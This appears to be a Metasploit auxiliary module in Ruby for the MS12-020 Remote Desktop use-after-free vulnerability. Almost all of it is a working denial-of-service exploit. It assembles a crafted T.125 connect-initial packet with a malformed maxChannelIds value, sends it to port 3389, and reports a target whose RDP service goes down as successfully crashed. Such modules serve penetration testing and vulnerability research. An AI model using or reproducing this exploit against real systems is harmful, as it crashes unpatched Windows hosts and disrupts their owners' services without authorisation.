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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
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      'Description'    => %q{
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        This module exploits the MS12-020 RDP vulnerability originally discovered and
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        reported by Luigi Auriemma.  The flaw can be found in the way the T.125
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        ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
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        an invalid pointer being used, therefore causing a denial-of-service condition.
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      },
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      'References'     =>
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        [
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          [ 'CVE', '2012-0002' ],
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          [ 'MSB', 'MS12-020' ],
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          [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
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          [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
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          [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
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          [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
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          [ 'EDB', '18606' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/' ]
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        ],
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      'Author'         =>
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        [
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          'Luigi Auriemma',
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          'Daniel Godas-Lopez',  # Entirely based on Daniel's pastie
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          'Alex Ionescu',
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          'jduck',
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          '#ms12-020' # Freenode IRC
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        ],
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      'License'        => MSF_LICENSE,
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      'DisclosureDate' => '2012-03-16'
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    ))
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    register_options(
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      [
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        Opt::RPORT(3389)
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      ])
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  end
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  def is_rdp_up
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    begin
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      connect
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      disconnect
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      return true
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    rescue Rex::ConnectionRefused
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      return false
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    rescue Rex::ConnectionTimeout
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      return false
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    end
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  end
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  def run
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    max_channel_ids = "\x02\x01\xff"
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    pkt = ''+
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      "\x03\x00\x00\x13" +  # TPKT: version + length
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      "\x0E\xE0\x00\x00" +  # X.224 (connection request)
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      "\x00\x00\x00\x01" +
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      "\x00\x08\x00\x00" +
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      "\x00\x00\x00"     +
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      "\x03\x00\x00\x6A" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224 (connect-initial)
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      "\x7F\x65\x82\x00" +  # T.125
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      "\x5E"             +
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      "\x04\x01\x01"     +  # callingDomainSelector
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      "\x04\x01\x01"     +  # calledDomainSelector
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      "\x01\x01\xFF"     +  # upwardFlag
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      "\x30\x19"         +  # targetParameters
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      max_channel_ids    +  # maxChannelIds
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      "\x02\x01\xFF"     +  # maxUserIds
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      "\x02\x01\x00"     +  # maxTokenIds
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      "\x02\x01\x01"     +  # numPriorities
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      "\x02\x01\x00"     +  # minThroughput
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      "\x02\x01\x01"     +  # maxHeight
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      "\x02\x02\x00\x7C" +  # maxMCSPDUsize
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      "\x02\x01\x02"     +  # protocolVersion
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      "\x30\x19"         +  # minimumParameters
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      max_channel_ids    +  # maxChannelIds
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      "\x02\x01\xFF"     +  # maxUserIds
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      "\x02\x01\x00"     +  # maxTokenIds
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      "\x02\x01\x01"     +  # numPriorities
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      "\x02\x01\x00"     +  # minThroughput
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      "\x02\x01\x01"     +  # maxHeight
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      "\x02\x02\x00\x7C" +  # maxMCSPDUsize
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      "\x02\x01\x02"     +  # protocolVersion
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      "\x30\x19"         +  # maximumParameters
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      max_channel_ids    +  # maxChannelIds
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      "\x02\x01\xFF"     +  # maxUserIds
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      "\x02\x01\x00"     +  # maxTokenIds
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      "\x02\x01\x01"     +  # numPriorities
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      "\x02\x01\x00"     +  # minThroughput
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      "\x02\x01\x01"     +  # maxHeight
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      "\x02\x02\x00\x7C" +  # maxMCSPDUsize
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      "\x02\x01\x02"     +  # protocolVersion
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      "\x04\x82\x00\x00" +  # userData
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x08" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x28"             +  # T.125
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      "\x03\x00\x00\x0C" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x38\x00\x06\x03" +  # T.125
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      "\xF0"             +
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      "\x03\x00\x00\x09" +  # TPKT: version + length
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      "\x02\xF0\x80"     +  # X.224
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      "\x21\x80"            # T.125
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    unless is_rdp_up
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      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
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      return
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    end
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    connect
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    print_status("#{rhost}:#{rport} - Sending #{self.name}")
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    sock.put(pkt)
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    Rex.sleep(3)
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    disconnect
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    print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
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    print_status("#{rhost}:#{rport} - Checking RDP status...")
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    if is_rdp_up
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      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
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      return
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    else
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      print_good("#{rhost}:#{rport} seems down")
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      report_vuln({
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        :host => rhost,
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        :port => rport,
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        :name => self.name,
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        :refs => self.references,
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        :info => "Module #{self.fullname} successfully crashed the target system via RDP"
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      })
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    end
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  end
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end
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